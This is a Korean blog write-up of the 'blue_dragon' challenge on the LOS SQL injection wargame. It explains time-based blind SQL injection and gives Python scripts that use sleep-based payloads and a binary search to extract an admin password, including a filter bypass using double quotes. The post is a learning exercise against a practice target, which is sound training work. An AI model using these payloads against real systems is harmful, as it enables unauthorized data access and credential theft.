LOS : https://los.rubiya.kr/
✔️ 문제
문제는 다음과 같다.
여러 필터링이 걸려있는 모습이다.
✔️ 풀이
풀이를 위한 코드는 다음과 같다.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");
패스워드를 찾아야하는 문제로 보이고, id와 pw 값에
싱글쿼터와 백슬래쉬에 대한 필터링이 걸려있는 것으로 보인다.
????
아무 생각없이 guest, guest 집어넣었는데 갑자기 일치했다..
이걸 노리고 한게 아닌데,, 패스워드는 복잡하게 만들것,,
아무튼 앞서서 푼 문제들 중에서 해결할만한 방법이 쉽게 떠오르지 않아서
여러 sql injection 페이로드를 찾아보던 중
sleep을 활용한 time based sql injection이 사용될 수 있다는 것을
알게 되었고 바로 시도해보았다.
예를 들어서 다음과 같은 페이로드를 보내게 되면,
1초의 지연 시간이 발생한 후 No Hack 이라는 문자를 확인할 수 있다.
즉, Time Based Sql Injection은 시간을 기반으로 하여 응답되는 값을 확인하는 것이다.
패스워드의 길이를 알아내기 위해서 다음과 같은 페이로드를
보내게 되면 3초의 지연시간이 걸리는 것을 확인할 수 있다.
하지만, 다음과 같이 패스워드가 10보다 크지 않다는 것을
바로 구문이 실행되면서 지연 시간이 없다는 것을 통해 알 수 있다.
이를 스크립트에서는 time이라는 파이썬 모듈로 확인할 수 있다.
import requests
import time
url = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_length():
length = 1
while True:
start_time = time.time()
params = { "id" : "admin", "pw" : "' or id=\"admin\" and if(length(pw)={},sleep(3),1) #".format(length) }
requests.get(url, params=params, cookies=cookies)
if int(time.time() - start_time) == 3:
return length
else:
length += 1
print("패스워드 길이:", pw_length())
다음처럼 패스워드 길이가 8이라는 것을 확인할 수 있다.
주의할 점은, id가 admin이라는 조건을 달지 않으면
5라고 패스워드 길이가 나오게 되는데 위에서 확인한 것처럼
앞에서부터 검사하기 때문에 guest의 패스워드 길이인 5를
결과값으로 도출하게 된다.
또한, 싱글쿼터 우회를 위해 id="admin"이라는
더블쿼터로 작성해주면 된다.
그 다음 패스워드를 알아내기 위한 스크립트를 구성해보자.
import requests
import time
url = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_length():
length = 1
while True:
start_time = time.time()
params = { "id" : "admin", "pw" : "' or id=\"admin\" and if(length(pw)={},sleep(3),1) #".format(length) }
requests.get(url, params=params, cookies=cookies)
if int(time.time() - start_time) == 3:
return length
else:
length += 1
def pw_crack():
password_length = pw_length()
password = ''
for i in range(1, password_length+1):
start, end, mid = 1, 127, 64
while True:
start_time = time.time()
params = { "id" : "admin", "pw" : "' or id=\"admin\" and if(ord(mid(pw, {}, 1))={},sleep(3),1) #".format(i, mid) }
requests.get(url, params=params, cookies=cookies)
if int(time.time() - start_time) == 3:
password = password + chr(mid)
print("패스워드:", password)
break
else:
params = { "id" : "admin", "pw" : "' or id=\"admin\" and if(ord(mid(pw, {}, 1))>{},sleep(3),1) #".format(i, mid) }
requests.get(url, params=params, cookies=cookies)
if int(time.time() - start_time) == 3:
start = mid
mid = (mid + end) // 2
else:
end = mid
mid = (start + end) // 2
pw_crack()
동일하게 작성하되, sleep을 걸어주기 위해서 if문을 작성하고
첫 번째 조건문으로 pw를 순차적으로 돌면서 패스워드를 알아내게 되면,
다음과 같이 문제를 클리어하게 된다.
지금까지는 sleep을 사용하지 않고 풀었는데,
이렇게 조금 쓸만한 우회 방법이 없거나 간단하게 확인하여
문제를 풀 수 있는 Time Based + Blind Sql 혼합 방식으로 푸는
방법도 많이 공부하고 연구하면 좋을 것 같다.
화이팅 💪
'보안 > LOS' 카테고리의 다른 글
[LOS] phantom (0) | 2023.01.04 |
---|---|
[LOS] frankenstein (0) | 2023.01.04 |
[LOS] red_dragon (0) | 2023.01.02 |
[LOS] green_dragon (0) | 2022.12.29 |
[LOS] evil_wizard (0) | 2022.12.29 |